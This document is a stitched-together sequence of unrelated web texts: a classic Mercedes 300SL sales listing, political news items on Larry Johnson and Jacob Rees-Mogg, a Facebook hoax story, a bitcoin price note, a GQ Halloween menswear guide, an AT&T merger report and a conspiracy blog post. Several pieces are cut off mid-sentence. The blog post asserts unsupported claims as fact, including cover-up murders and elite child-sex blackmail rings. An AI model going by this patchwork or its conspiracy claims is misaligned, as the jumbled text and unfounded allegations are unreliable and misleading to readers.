The 300SL was one of the most exotic cars available when it was new. Directly descended from racing cars, and chock full of innovative features, they were fast, beautiful, and expensive. Arguably the first ‘supercar’ ever (others claim that honor should be bestowed upon the Lamborghini Miura), the 300SL has been described as the McLaren F1 of its day. Thanks to Mercedes’ development work during World War II in aircraft engines, the 300SL became the first production car to feature fuel injection (directly injected into the cylinders no less), and the light but strong spaceframe necessitated the now legendary and often copied upwards opening doors on the closed variant of the car. The result was a stunningly beautiful but also functional car that was, depending on gearing, the fastest production car in the world. Surrounded by separate frame carbureted contemporaries, the SL was truly a glimpse of the future and remains today a very special car indeed. Its appeal is timeless and consequently, 300SLs have remained `blue-chip` collector cars that are always in demand and perhaps even culturally embedded as one of the most iconic and greatest cars of all time.
The roadster version was for many years overshadowed by the gullwing; however, as more savvy enthusiasts have become privy to the advantages of the roadster, their values are now catching up to those of the coupes. Indeed, the increased practicality of proper wind-up windows and doors, improved drivability from the revised rear suspension, and inimitable open air experience make the roadster a more enjoyable car to use than the gullwing. Additionally, they were mechanically developed over the years, including the fitment of larger finned drum brakes in 1959.
In 1960, 241 300SL roadsters were built, of which this is the 76th example by production sequence. Originally ordered by Max Hoffmann in New York for American delivery, the order was changed at some point and the car was built to European specification and delivered at the factory to its original American owner, who kept the car in Europe until the summer of 1964, at which point the car was shipped to California. The car is fitted with period Rotunda seat belts with date code “7-64”, likely fitted when the car arrived in the United States.
The car’s second owner was prominent North Hollywood, California collector Mark Tuttle, who purchased the car in the early 1970s and kept it for approximately ten years before selling it to William Lenkeit. The car remained in the Lenkeit family until 1989 at which point it was sold to Complete Exotic Car, a dealership in Florida who then sold it to a Japanese museum where the car remained for twenty years before being imported back to the United States in 2013. At that time Fantasy Junction had the opportunity to transact this wonderful Roadster to its next owner, a Northern California resident and long-time sport car enthusiast and collector. Under his custodianship use has been limited, but a recent service and fluid change and minor service has just been performed to ensure it is ready for immediate enjoyment on the open road.
Today, the car is a matching numbers example that is very complete, with hard top, soft top, fitted luggage, tools, and books. Originally finished in DB166 blue grey with blue leather interior, the car was repainted DB180 silver and received a new black leather interior. Cosmetically, the car is a high level driver that is fresh and makes a strong impression, with the restorative work completed to high standards. The body is solid and straight and wears high quality paint which is not to show standards but is ideal for a high end driver. There is minimal wear to the paintwork, the occasional touched in chip and a few small chips to the front of the car from road use. The chrome is excellent, with no significant damage or deterioration to the finish, and the glass and lights are in similarly nice condition. The car is fitted with desirable (and costly!) European headlamps.
The interior is correctly presented and in excellent shape with an attractive mellowing to the leather. The carpets are of the correct square weave material and are in good shape, while the upholstery was done with correct patterns of pleating and perforation. The leather is in beautiful condition, as is the chrome. The dashboard, instruments, and controls are correct and in excellent order. The interior of the hard top is in similarly nice condition, as are the visors. The steering wheel is free of cracks and the entire interior has a light and consistent mellowness, not quite patina that is extremely appealing and matches the exterior perfectly.
The engine compartment is clean and nicely detailed with correct decals, windscreen washer fluid bag and finishes. It is not over-restored, and has a pleasing impression of freshness without appearing over-restored. The firewall and inner fenders were included in the restoration as well, and while the engine compartment is not quite to show standards, it makes an exceptional impression. The trunk is in similar condition, with square weave carpet to match the interior. The jack is present as are two fitted suitcases which are in excellent shape.
The car runs and drives superbly, reminding the driver why the 300SL is such a legendary car, as well as how impressive the car must have been when new. It starts easily and exhibits virtually none of the cold-bloodedness that is virtually a defining feature of the 300SL. The engine is powerful and makes great noise. The gearbox is excellent with slick and precise operation that gives an impression of robustness that does not exist in an Italian gearbox of the same period. The brakes are effective and the 3.64 rear axle ratio with which this car is equipped is well-suited to American roads. The chassis and suspension are capable and confidence-inspiring in a way that encourages the driver to trust the car and drive purposefully.
This is an exceptional opportunity to acquire a very complete 300SL Roadster with many decades of known history. It makes a strong cosmetic impression but is in the perfect state to be driven, being neither too perfect to drive nor too rough or neglected to display. The car runs and drives superbly and is desirably equipped with hardtop, soft top, European headlamps, luggage, tools, books, and records.
Fantasy Junction +1 510 653 7555 Emeryville, California 94608 USA
The above vehicle information is complete and accurate to the best of our knowledge at the time it is posted to this website. Corrections or additional information is always appreciated. All advertised prices exclude government fees and taxes, any finance charges, any dealer document preparation charge, and any emission testing charge. Vehicles are subject to prior sale. All advertised to be true but not guaranteed. We assume no liability for errors or omissions.All our living former presidents are asking Americans to come together to help those who have been devastated by hurricanes.
The group’s announcement aired during the National Football League |
did not go through proper channels.” He said he is speaking out because he fears figures in the intelligence community are seeking to undermine Trump. “This is a threat to our democracy,” he said.
Johnson was revealed as one of Napolitano’s sources after the Fox commentator, when pressed about his claim, asked Johnson to speak with the New York Times.
Johnson gained widespread attention as a blogger who circulated a conspiracy theory about Michelle Obama during the 2008 presidential campaign, though he now says Clinton operatives took advantage of him and used him to spread the theory.
He has been vocal in his defense of Russia against allegations that a Vladimir Putin-ordered hacking campaign was conducted to disrupt the 2016 presidential election and help Trump win.
In the weeks before the inauguration, Johnson told state-controlled Russia Today that the U.S. conclusion that Russia interfered in the election was “a joke,” and called the American intelligence community “stupid.”
Johnson said he is not paid by RT for his appearances, and he doubts RT had any impact on the election given its low viewership in the U.S.
He has made his claims about British involvement before, telling RT in early March that Britain colluded with U.S. officials to spy on Trump.
“In this case I understand from very good friends that what happened was both Jim Clapper and John Brennan at CIA were intimately involved in trying to derail the candidacy of Donald Trump,” he said in an interview with RT the day after Trump accused President Barack Obama of ordering his phones tapped. “That there was some collusion overseas with Britain’s own GHCQ [Government Communications Headquarters]. That information that was gathered from GHCQ was actually passed to John Brennan and it was disseminated within the US government. This dissemination was illegal.”
In the same interview, Johnson said: “There’s no evidence on the side of Russia meddling in the U.S. election.”
The U.S. intelligence community has concluded that Russia did meddle in the election.
Johnson has also peddled the theory that the CIA — not Russia — was behind the hacking of the DNC.
Johnson’s British spying claim, apparently first made in the RT interview, developed into an international event in a matter of weeks through a bizarre series of events. Napolitano made the claim on Fox News on Tuesday, citing three anonymous sources. The White House then repeated the accusation on Thursday, with White House Press Secretary Sean Spicer reading verbatim from the Fox interview.
In an unusual move for the tight-lipped British intelligence community, the GCHQ released a statement denying the charge. The White House said it would not repeat the claim, and reports indicated Spicer had apologized. But Spicer later declined to back down, telling POLITICO on Friday he simply read “straight from the Fox transcript.”
One element that casts further doubt on the allegation is the American and British agreement not to spy on one another as members of the so-called “Five Eyes” — the U.S., U.K., Australia, New Zealand and Canada. The group shares intelligence among the member states and agrees not to conduct espionage against each other. British spying on an American presidential candidate would seem to violate the agreement.
Johnson said he does not believe the Director of National Intelligence’s assertion that 17 U.S. agencies concluded Russia interfered in the election, and he does not believe that the FBI, CIA and NSA have information to back up their unclassified report published in January, which alleges Russia not only interfered in the election but interfered to help Trump.
He backed up his assertions by saying he spoke out against the Iraq War and cast doubt on reports that Iraq had weapons of mass destruction. “They lied about weapons of mass destruction in Iraq. I didn’t,” he said.
Johnson worked at the CIA from 1985 to 1989, and served as the deputy director of the State Department’s Office of Counterterrorism from 1989 to 1993, according to his website.
“I’m not a Trump supporter,” he said. “I’m more anti-Hillary than pro-Trump. I’m not part of the Trump team. I’m not trying to get a job with the Trump administration, I’m not on some Trump advisory panel.”
“I’m not a nut,” Johnson said. “I call things as I see it. I don’t pander to any one particular political position.”Get the biggest politics stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Tory Jacob Rees-Mogg pocketed a $680,000 payment while working for an offshore investment firm.
The multi-millionaire – recently slammed for saying the growth in people using foodbanks was “rather uplifting” – was among the latest names to emerge in the Paradise Papers scandal today.
The leaked documents reportedly show he held more than 50,000 shares in British Virgin Islands-based Lloyd George Management and got $680,000 (£520,000) when it was bought up by Canada’s Bank of Montreal in 2011.
There is no suggestion he avoided tax on any profit – but his huge wealth and many of his comments have led to accusations that he does not understand the concerns of ordinary Britons.
It was already publicly known that Mr Rees-Mogg owns a company called Saliston, established in 1995 to hold property that originally belonged to his father.
(Image: Getty)
It also holds his stake in Somerset Capital Management, an emerging markets fund he co-founded in 2007.
Somerset is managed via subsidiaries in the tax havens of the Cayman Islands and Singapore. There is nothing illegal about this and Mr Rees-Mogg – a staunch Brexiteer touted as a future Tory leader – has defended offshore tax havens.
He told the Mirror last night: “The essential point is that honest taxpayers receive no benefit from offshore structures.”
Earlier this week, Mr Rees-Mogg said that politicians condemning the tax scams exposed by the Paradise Papers were “hypocritical and not very bright”.
The MP for North East Somerset has also made headlines with his stance on abortion, saying on Good Morning Britain in September that he opposed it after rape. And he recently branded Mark Carney, Governor of the Bank of England, an “enemy of Brexit ”.
(Image: Reuters)
Meanwhile, the Paradise Papers also mention a former Eton College pal of Mr Rees-Mogg. Investment manager James Pockney has worked for the MP as a director of Saliston for 22 years.
He is recorded as having approached Appleby, the firm at the centre of the leak, regarding an Isle of Man firm called General & Oriental Investments in 2008, it was reported.
There is no evidence it became a client. Public records show a Manx company of that name was founded in 1995 and dissolved in 2011.
Mr Pockney owns a UK firm, also called General & Oriental, through which he manages investments in business ventures. He declined to comment last night.Get the biggest daily stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
Scores of social media users are falling for a hoax post regarding Facebook, it has emerged.
A message on the social networking giant has been widely circulated, claiming that the Mark Zuckerberg-owned company is set to charge its users.
Appearing on News Feeds across the land, the hoax urges users to copy the message on to their own walls.
This only serves in circulating the message even wider, with thousands falling for the hoax thus far.
But myth debunking websites have identified that the message is nothing but a poor attempt at scaremongering.
The hoax has reportedly been around since 2009, according to snopes.com.
This particular variation has been around since 2011, and resurfaced in 2012 and 2013.
Worryingly, some versions of the message included links that downloaded malware onto unsuspecting Facebook user's computers.
Last week, it was revealed your Facebook Messenger is set for massive changes.
From now on, you won't see a list of your most recent messages upon opening up the Messenger app on your phone.
Instead, users will land on a new "Home" page, which is set to be divided into a number of different "modules".
The first few most recent messages will still appear at the top of your screen, but below that will be a "Favorites" module, which highlights people you message most frequently.
There will also be an "Active Now" module, that lest you see that a good friend or colleague is available, and a "Birthdays" module to remind you of your friends' birthdays.
Facebook said the changes would make Messenger simpler to use, by presenting the user with more relevant information.
"The way messages appear in your messaging applications hasn't really changed since the beginning of the smartphone era. It's one long list of all the messages in chronological order," said Stan Chudnovsky, head of product for Messaging at Facebook.
"What we are doing is introducing a few modules, and those modules are sort of groupings of different messages or different people together.
"We will add more of those modules over time, and generally your inbox is going to start looking different, because we think it's time we started to innovate in how it looks and how it feels."
How do you add videos to Facebook comments?For the first time ever, one bitcoin is worth more than an ounce of gold. According to a CNNMoney report, the price of one bitcoin traded above $1,290 on Friday while an ounce of gold costs $1,228.
There are a few factors at play here. First, high demand for the digital coin helped push the price of a bitcoin higher throughout the year, although it did suffer a major setback. The price of a bitcoin tumbled 30 percent earlier this year after authorities in China increased their scrutiny of bitcoin exchanges.
People in countries like China are major supporters of bitcoin as it is perceived to be a safe haven, especially in times of turmoil when anonymity is also a factor.
But some experts are finding it hard pressed to explain why bitcoin is more valuable than gold — a commodity that has existed for centuries as opposed to the digital currency that few have heard of in the late 2000s
Related Link: Gartman: Bitcoin Is Nearly Incomprehensible At This Point
Charles Hayter, the CEO of the digital currency comparison website CryptoCompare, told CNNMoney that there is no direct correlation between gold and bitcoin. At the end of the day, bitcoin is its own class "in its own right."
Hayter also said that the issue in China that plagued bitcoin earlier this year has now been "brushed under the carpet," and any short-term woes will be erased over the longer term.
Image Credit: By Davidstankiewicz - Own work, CC BY-SA 4.0, via Wikimedia Commons
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© 2017 Benzinga.com. Benzinga does not provide investment advice. All rights reserved.Not really into the whole "Halloween" thing? Then use it as a great excuse to pick up some iconic menswear instead, with these outfits that will transition seamlessly from party costume to style cornerstone
From Cary Grant to Don Draper to Tony Leung Chiu-Wai in In the Mood for Love, the gray wool suit is as iconic on screen as it is in real life. Pick the guy you most resemble, and just add Brylcreem: "a dab'll do ya," as the old tag line goes, but we suspect some of these guys might've done with a couple.
The real key to nailing this look is getting the facial hair down au naturel. Either way, you get to pick up one of the trendiest prep items of the past few years, the varsity jacket.
This cinematic style watershed was so influential, people might think you, with your snorkel parka and skinny tie, are just a modern mod rocker...but is that really such a bad thing?
Step one, look like Ryan Gosling ("No sweat."—Everyone at GQ). Step two, get a snug-fitting denim jacket. Step three, stomp a dude's face into the linoleum. Even if you're one out of three, you're still left with a classic menswear item. Not bad, eh?
Okay, so we just mentioned the redesigned bomber jacket as not being for guys with an unhealthy "Danger Zone" obsession. But you can get removable squadron patches, right?
A great excuse to get all your sloppily dressed buds to get at least one item of clothing, a black suit, in a properly tailored, respectable form. If they show up in the baggy mess they wore to their last job interview, imply that they might be seeing the Tarantino shot in first person, very soon.
To play Richie Tenenbaum, all you need is a sweet moleskin jacket, a FILA headband, and an unholy love for your stepsister. (We won't ask how the latter came so naturally.) Maybe play some Nico out of a boombox, for an ennui-filled Say Anything mashup that Wes Anderson would find "quite versimillitudinous," or whatever.
If you're just getting into this "style" business and still dress like a middle-aged dad (perhaps because you are one), then just don a porkpie hat, maybe make use of a Headblade, and look menacing. The hat will be of use again, once you've gone through the rest of the GQ makeover. See you on the other side!
A good leather jacket will be just as trustworthy to you as it was to everyone's favorite archeologist, practically all year round. Now, to get a best bud to play your Nazi antagonist...
If you're the wallflowery type, standing and smiling amidst a crowded Halloween party in a striped red sweater will come naturally to you. Be sure to stick close to any barbershop poles, oversized peppermint candy canes, etc.
The beauty of this getup, aside from the Mac being a fall staple you should own if you don't already, is that it's one that protects against those inevitable slushed-out Halloween nights, when all your friends (including the one dressed as your sidekick Snowy!) abandon you because of their skimpy, water-permeable costumes. It will, however, not protect you from your lousy grasp of French, so bone up, bon homme.
Local laws might get in the way of completing this look with a sawed-off shotgun and a vendetta against your brother's killers, but if you look as simultaneously suave and menacing as Michael Caine did in his three-piece suit, we doubt anyone (particularly the ladies) will mind.
The pinstripe suit, long the domain of smug bankers, has been making a comeback on the backs of fly dudes like Victor Cruz —but that doesn't mean you can't dial it back a couple decades to Patrick Bateman territory, doing it up with a contrast-collar shirt and a plastic raincoat. "Do you like Huey Lewis?" doubles as a great pickup line, until they get the reference and run away.
Travis Bickle and the M-65 jacket: It doesn't get any more iconically New York, insane, and downright Scorcese-y than this. You might object to the haircut, but hey, if you, too, want to go out in a blaze of anti-heroic, postmodernist glory, it's pretty much a prerequisite.
Bond might seem obvious, overdone, even, but trust us: If you have a well-tailored slim tux, with a pristine white shirt, and a manual bow tie (an ensemble every man should have in his repertoire anyway), you'll be the double-0 to every slouchy suit in a clip-on's Paul Blart, Mall Cop. And don't be afraid to adjust your cufflinks.
Smoking jacket, $660, pants, $330, and bow tie, $130, available at Surface to Air.
Taxi Driver Travis Bickle and the M-65 jacket: It doesn't get any more iconically New York, insane, and downright Scorcese-y than this. You might object to the haircut, but hey, if you, too, want to go out in a blaze of anti-heroic, postmodernist glory, it's pretty much a prerequisite.
"Bouquet Garni" M-65, $390, available at Gant.
American Psycho The pinstripe suit, long the domain of smug bankers, has been making a comeback on the backs of fly dudes like Victor Cruz—but that doesn't mean you can't dial it back a couple decades to Patrick Bateman territory, doing it up with a contrast-collar shirt and a plastic raincoat. "Do you like Huey Lewis?" doubles as a great pickup line, until they get the reference and run away.
Emporio Armani pinstripe blazer, $1,095 and pants, $395, available at Park & Bond. Dress shirt, $75, available at Rugby.
Get Carter Local laws might get in the way of completing this look with a sawed-off shotgun and a vendetta against your brother's killers, but if you look as simultaneously suave and menacing as Michael Caine did in his three-piece suit, we doubt anyone (particularly the ladies) will mind.
J.Crew Ludlow suit jacket, $425, pants, $225 and vest, $135, available at J.Crew
Tintin The beauty of this getup, aside from the Mac being a fall staple you should own if you don't already, is that it's one that protects against those inevitable slushed-out Halloween nights, when all your friends (including the one dressed as your sidekick Snowy!) abandon you because of their skimpy, water-permeable costumes. It will, however, not protect you from your lousy grasp of French, so bone up, bon homme.
Bonded trench, $595, available at Jack Spade.
_Where's Waldo? _ If you're the wallflowery type, standing and smiling amidst a crowded Halloween party in a striped red sweater will come naturally to you. Be sure to stick close to any barbershop poles, oversized peppermint candy canes, etc.
Stripe sweater, $128, available at Tommy Hilfiger.
Indiana Jones A good leather jacket will be just as trustworthy to you as it was to everyone's favorite archeologist, practically all year round. Now, to get a best bud to play your Nazi antagonist...
Leather jacket, $368, available at Massimo Dutti.
Walter White, aka Heisenberg If you're just getting into this "style" business and still dress like a middle-aged dad (perhaps because you are one), then just don a porkpie hat, maybe make use of a Headblade, and look menacing. The hat will be of use again, once you've gone through the rest of the GQ makeover. See you on the other side!
Hat, $16.99, available at Target. Headblade classic, $13, available at Headblade.
_The Royal Tenenbaums _ To play Richie Tenenbaum, all you need is a sweet moleskin jacket, a FILA headband, and an unholy love for your stepsister. (We won't ask how the latter came so naturally.) Maybe play some Nico out of a boombox, for an ennui-filled Say Anything mashup that Wes Anderson would find "quite versimillitudinous," or whatever.
Burberry Brit moleskin blazer, $495, available at MR PORTER. Headband, $6, available at American Apparel.
Reservoir Dogs A great excuse to get all your sloppily dressed buds to get at least one item of clothing, a black suit, in a properly tailored, respectable form. If they show up in the baggy mess they wore to their last job interview, imply that they might be seeing the Tarantino shot in first person, very soon.
Suit jacket, $175, and pants, $75, available at Topman.
Top Gun Okay, so we just mentioned the redesigned bomber jacket as not being for guys with an unhealthy "Danger Zone" obsession. But you can get removable squadron patches, right?
Asos leather bomber jacket, $220, available at Asos.
Drive Step one, look like Ryan Gosling ("No sweat."—Everyone at GQ). Step two, get a snug-fitting denim jacket. Step three, stomp a dude's face into the linoleum. Even if you're one out of three, you're still left with a classic menswear item. Not bad, eh?
Jean Machine J.M-4 jacket, $230, available at MR PORTER.
_Quadrophenia _ This cinematic style watershed was so influential, people might think you, with your snorkel parka and skinny tie, are just a modern mod rocker...but is that really such a bad thing?
Parka, $240, available at Adidas.
Teen Wolf The real key to nailing this look is getting the facial hair down au naturel. Either way, you get to pick up one of the trendiest prep items of the past few years, the varsity jacket.
Hawkings McGill varsity jacket, $99, available at Urban Outfitters. Wolf hands, $12.99, available at halloweencostumes.com.
And...Every Guy in a Gray Suit, Ever From Cary Grant to Don Draper to Tony Leung Chiu-Wai in In the Mood for Love, the gray wool suit is as iconic on screen as it is in real life. Pick the guy you most resemble, and just add Brylcreem: "a dab'll do ya," as the old tag line goes, but we suspect some of these guys might've done with a couple.AT&T Inc (T.N) is close to wrapping up its deal to buy DirecTV (DTV.O) as U.S. telecom and antitrust regulators signaled a green light for the $48.5 billion merger that would create the country's largest pay-TV company.
The Federal Communications Commission Chairman Tom Wheeler on Tuesday recommended that the five-member commission vote to approve the merger, and the Justice Department said the deal did not pose a significant risk to competition.
AT&T and the FCC have spent recent weeks negotiating the conditions of the deal that combines the No. 2 wireless carrier with the largest satellite-TV provider, giving DirecTV a broadband product and AT&T new avenues of growth beyond the maturing wireless service. The deal was announced in May 2014.
The proposed approval includes a requirement that AT&T build out high-speed Internet connections to 12.5 million customer locations and share with the FCC all traffic exchange agreements it strikes with content and web transit companies.
AT&T would also pledge to count its affiliated video services toward any data caps on fixed broadband connections, according to the proposed conditions.
In a first for the FCC, Wheeler is also seeking to set up an independent officer to help ensure AT&T complies with the conditions in the long run.
Wheeler's outlined conditions mark an end of negotiations between the company and the agency as the FCC sought to make sure that the merger serves the public interest. The Justice Department ensures that mergers comply with antitrust law.
Video companies Netflix Inc (NFLX.O) and Dish Network Corp (DISH.O), traffic company Cogent Communications Holdings Inc (CCOI.O) and others had pushed for limitations to AT&T's power to slow down or charge fees for the web traffic traveling through its networks, as well as protections for rival video services.
"The commitments that the proposed FCC order includes, if adopted, will provide significant benefits to millions of subscribers," Assistant Attorney General Bill Baer said in a statement.
AT&T welcomed the Justice Department's completion of the review and said it was looking forward to the FCC approval to begin providing consumers "the benefits of this combination."
The company had earlier committed to expand access to broadband service in rural areas and to offer standalone Internet service at speeds of at least 6 Megabits per second to ensure consumers can access rival video services online.
The success of the merger in passing regulatory muster is in sharp contrast to the recently derailed rival mega-merger between cable and Internet providers Comcast Corp (CMCSA.O) and Time Warner Cable Inc (TWC.N).
That deal was rejected in April largely over the combined companies' reach into the broadband market.
Comcast's smaller competitor Charter Communications Inc (CHTR.O) has bid $56 billion for Time Warner Cable.0 Shares
by Pamela Williams
I began a report on “Where Is Eric Braverman?” some time back, after viewing a video by YouTube researcher George Webb. Since that time, I have tried to keep up with Webb’s series on “Where is Eric Braverman?” which has grown to “Day 77 – Where Is Eric Braverman?” As many of you know, Eric Braverman was Ex-CEO of the Clinton Foundation. He mysteriously quit tweeting on October 12, 2016, and failed to show up for his job as a speaker at Yale. There have been reports that he was seeking asylum in Russia, or he had gone into a witness protection program, as he might testify against the Clinton Foundation. Of course, many of us felt that since he had access to the inside secrets of the Foundation, he possibly would seek counsel and come forward with testimony that would expose mysteries within the Clinton machine.
Webb reveals mind-blowing criminal aspects within the Government with tentacles that reach all over the globe. It is more of a system of betrayal of the people that inhabit this planet by the Elites of this world. It is an age-old system put in place by those who covet wealth and power in the form of covert activities with labels such as the CIA, Government positions, heads of Countries, arms traders, oil companies, and sex-traffickers. I guess you could say all these things make the world go round, and it is shocking to finally see this…harder to understand it.
Webb explains all of this in his video series. He asks hard questions about the murder of Monica Peterson. Of course, most of you know she was a young woman who attended the famous Korbel School, graduated with honors, went on to do research into sex-trafficking, which led her to Haiti. She taught at a school there and began to help those victims of the Haitian earthquake. Of course, we also know that Hillary Clinton through the Clinton Foundation went into Haiti. There was money donated to the Foundation for use in Haiti that disappeared. It is alleged that Monica tapped into wrongs done in Haiti by the Foundation, while she was doing research on sex-trafficking. Monica was found hanged, and her murder has been called a suicide, but her Mother says this simply makes no sense knowing the person that Monica was. I want to share a link I found with a video that was made for Monica that was played at her memorial. It is very touching and when you view it, you will know Monica well. www.prayfuneral.com/obituaries/Monica-Petersen/
Neil Brown and Eric Braverman were married, and it appears to me their union led to great changes for both of them. Neil Brown was an oil man who oversaw big oil pipeline deals by many oil companies, heads of Countries, politicians, and the global elites. It is amazing to see the pieces of the puzzle come together in the video series by George Webb. You may be asking why you should believe Webb’s story, and that is up to you to decipher. I just happen to believe him.
Back to Braverman and Brown, while most of us following this story were concerned that Braverman might be deceased, I have to admit that as of late, I have felt he had gone underground. I have also wondered that Neil Brown might have ditched him after Braverman learned of the global den of snakes Brown was working in. But now that I look back, I realize that Braverman was working with the Economic part of the snake, while Brown was working with the oil part of the snake. Somewhere along that line I believe that both Braverman and Brown partnered to meld both of those worlds together: Economic and Oil Pipelines. While Braverman worked to supply the money, Brown worked to build the oil pipelines. Yet, what might, and I say MIGHT….have laid ahead for the two would be a transformation that most of us could not even begin to imagine.
Webb laid out a theory today that blew my mind. Since watching this latest video, which I will link here, I have done nothing but research NOC. The video link is:
FROM VIDEO:
Published on Jan 8, 2017
Are NOCs For Real? Comey Has Had Marc Rich’s Documents For 30 Years
Who Killed Monica Petersen?
More Police Powers For FBI?
Trump Wants to Shake Up the CIA
nypost.com/2017/01/04/trump-wants-to-shake-up-the-cia/
FB Group #HRCRatLine
Due to the very large number of citations and sources, I now publish them with each slide. I try to order New York Times Pulitzers first, then former NYT Pulitzer winners, then New York Times writers. Any other reputable source like WaPo, WaTimes, Tribune, LA Times, Seattle P-I, etc are then list. Then second tier media followed by alternative media.
Murdered journalist and investigators get a higher ranking than remotely sourced stories through offshore news funnels like SOHR.
docs.google.com/presentation/d/1X2ZNdpHMx23Nm-pGZULrBbU6SxpfiNMId6KXqe3deIE/edit?usp=sharing
Back to my report: What is a NOC:
www.thefullwiki.org/Non-official_cover
Non-official cover (NOC) is a term used in espionage (particularly by national intelligence services) for agents or operatives who assume covert roles in organizations without ties to the government for which they work. Such agents or operatives are typically abbreviated in espionage lingo as a NOC (pronounced “knock”)
Now that you know the definition, maybe you can follow what is coming next. But first, I think I will quote more sources on the NOC subject. It takes a lot of getting used to, or at least it did for me. I had never heard of the term before George Webb mentioned it on his video today.
www.motherjones.com/politics/1995/01/cia-crosses-over
FROM LINK:
Robert Dreyfuss’ revelation that the CIA is engaged in economic espionage (“Company Spies,” June 1994) was covered extensively in Japan, but so far no American newspaper or network has touched the story. Now, Dreyfuss offers more proof.
William Casey’s ghost haunts the Central Intelligence Agency.
That ghost, a Central Intelligence Agency program revived by the late director in the 1980s, marries the spy agency to corporate America in order to gather intelligence on economics, trade, and technology. Now that the Cold War is over, agency officials have latched onto the idea of collecting clandestine economic data to justify the CIA’s inflated budget, even as the CIA’s competence–indeed, its very existence–is being questioned.
And dozens of U.S. corporations–from Fortune 500 companies to small, high-tech firms–are secretly assisting the CIA, allowing the agency to place full-time officers from its operations divisions into corporate offices abroad.
Serving under what is referred to as “nonofficial cover” (NOC), CIA officers pose as American businessmen in friendly countries, from Asia to Central America to Western Europe. There, they recruit agents from the ranks of foreign officials and business leaders, pilfer secrets, and even conduct special operations and paramilitary activities.
The story of the CIA’s NOC (pronounced “knock”) program, revealed here for the first time, raises serious questions about the CIA at a time when the agency is already beset by scandal. Yet the NOC program has grown to its present bloated size without any public scrutiny–and with no open discussion within the companies whose interests could be harmed by a spy scandal. Remember Valerie Plame?
www.historycommons.org/context.jsp?item=afall9296plamenoc Former CIA case officer Jim Marcinkowski, a former classmate of outed CIA case officer Valerie Plame Wilson (see Fall 1985), is outraged by the revelation of Plame Wilson’s CIA status and the allegations that the leak of her identity is not a crime (see July 14, 2003 and September 29, 2003). Another former classmate of Plame Wilson’s, former CIA agent Larry Johnson, says: “[W]hat I keep seeing in the newspaper is the spin and leak that this is no big deal. And that’s got to stop.… The problem with this is a lot of the damage that has occurred is not going to be seen. It can’t be photographed. We can’t bring the bodies out because in some cases it’s going to involve protecting sources and methods. And it’s important to keep this before the American people. This was a betrayal of national security.” Marcinkowski concurs: “This is an unprecedented act. This has never been done by the United States government before. The exposure of an undercover intelligence officer by the US government is unprecedented. It’s not the usual leak from Washington. The leak a week scenario is not at play here. This is a very, very serious event.” Plame Wilson was an NOC, or nonofficial cover officer (see Fall 1992 – 1996). “It was the most dangerous assignment you could take. It takes a special sort of person,” says Marcinkowski, who is now a prosecutor in Michigan. Former CIA official Kenneth Pollack agrees, describing an NOC’s identity as the “holiest of holies.” Many believe that the outrage among the rank and file of CIA agents and officials at Plame Wilson’s outing was so strong that CIA Director George Tenet had little choice but to recommend that the Justice Department investigate the leak (see September 16, 2003). Marcinkowski says: “In this particular case, it was so far over the line, I think myself and a lot of us were truly outraged that the government would do this.… I mean, we kept our mouths closed since 1985, when we joined.” Johnson, noting that both he and Marcinkowski are registered Republicans, says: “As a Republican, I think we need to be consistent on this. It doesn’t matter who did it, it didn’t matter which party was involved. This isn’t about partisan politics. This is about protecting national security and national security assets and in this case there has been a betrayal, not only of the CIA officers there, but really a betrayal of those of us who have kept the secrets over the years on this point.” [Guardian, 10/22/2003; CNN, 10/24/2003] wikileaks.org/gifiles/docs/16/1643155_re-discussion-cia-and-isi-shenanigans-.html LINK:
I may have to word this a little differently, but every anecdote I’ve
picked up in the last 5 years or so is that nearly everyone the National
Clandestine Service is recruiting is planned to be a NOC of some sort.
Much of the higher level parts of the station, and the security officers
are on diplomatic cover, but most regular IOs are NOCs. Once the NOCs are
burned they often get moved to an official cover.
I could be wrong, but I definitely think the old assumptions about the CIA
are no longer true. Everything I’ve read and heard is that they have
moved on from diplo covers for many of their officers to business covers.
On 5/23/11 3:10 PM, XXXXXXX wrote:
While some of these efforts are to deal with jihadists- disguised within
large groups of Afghan nationals- this also places barriers on foreign
intelligence officers in the country. While non-official cover is a
more common status for CIA intelligence officers overseas, many of the
security officers and more senior officials are on various diplomatic
documents. Actually, NOC’s are FAR less common than official cover
officers. wikileaks.org/gifiles/docs/11/1129423_re-info-another-mossad-intelligence-operation-internal.html
LINK:
Nocs who are simply given a business cover are easy to spot. The
develop$emt of a noc that is effective depends on developing a cover that
can’t be penetrated because it is who the person is. This takes many years
and infinite patience. The current practice merely increases the risk to
the agent without doing anything for effectiveness. Being a noc is not
about bureaucratic classification or superficial identity is a way of
life. Very few people have the appetite or psychological motivation for
the effective abandonment of their own personalities and few handlers can
stand the stress of managing deep cover.
Most american companies are suspecred of housing cia agents as we are. So
that’s no cover at all. Having someone become an executive of a foreign
comppany and be a foreign national is what is essential. This requires the
use of first generation immigrants as the chinese do and as the the united
states does intermittently. The problem is that the security people set
standards that people can’t possinly meet. Some dci waive these standards
and some tighten them.
When they are tightened you get mormons working for american accounting
firms trying to do intelligence in beijing. The trick is for the us to
employ first or second generation chinese at an early early age, craft the
needed cover meticulously, and have them live in china, speaking native
chinese, marrying chinese spouses and growting that way. It requires the
fbi to hire hundreds of first generation chinerse to meet and double
chinese operatives.
Now, that we have a good understanding of what a NOC is we can continue to think about the theory that George Webb made today about Eric Braverman and Neil Brown. I had begun to go in a direction such as this, but I had never heard of a NOC. I had really felt Braverman might be deceased at the hands of Neil Brown. I had felt Neil Brown was continuing to do business of putting together the whole oil pipeline deal. However, I had felt Eric Braverman had distanced himself from the “snake”….that is what I will call this whole global mess built upon the lust for money and power. Oh, not to forget the blackmail of so many elites that fall for the sex schemes called “brownstones.” They just set each other up for sex with underage kids, then blackmail the targets, and then take their money. If that doesn’t work, then as Webb says, they bomb them…of course, that is if the target was a head of State. Can this all be true? I am afraid it could be, but this is only fiction, right?
I pray that a miracle will occur for the world, and President-elect Trump will send 200 FBI agents to Haiti to investigate the murder of Monica Peterson.
I pray Trump will cut the head of this “snake” off, exposing all the ugly hidden guts of the beast that has taken over our world. Believe me when I say this “beast” is not human.
I believe that we can no longer be lumped into one |
himself helped craft the statement and was instrumental in sending it out and letting it stand on its own for several hours without further explanation. “We've had five years of them attack and the international community acting with outrage, and then it happens again,” the official said. “So he saw an opportunity to have it maybe not happen.”
However, White House officials speaking to The Daily Beast painted a picture of a president who, for the time being, is far more obsessed by negative press attention and media feuds at home than any coming atrocities abroad.
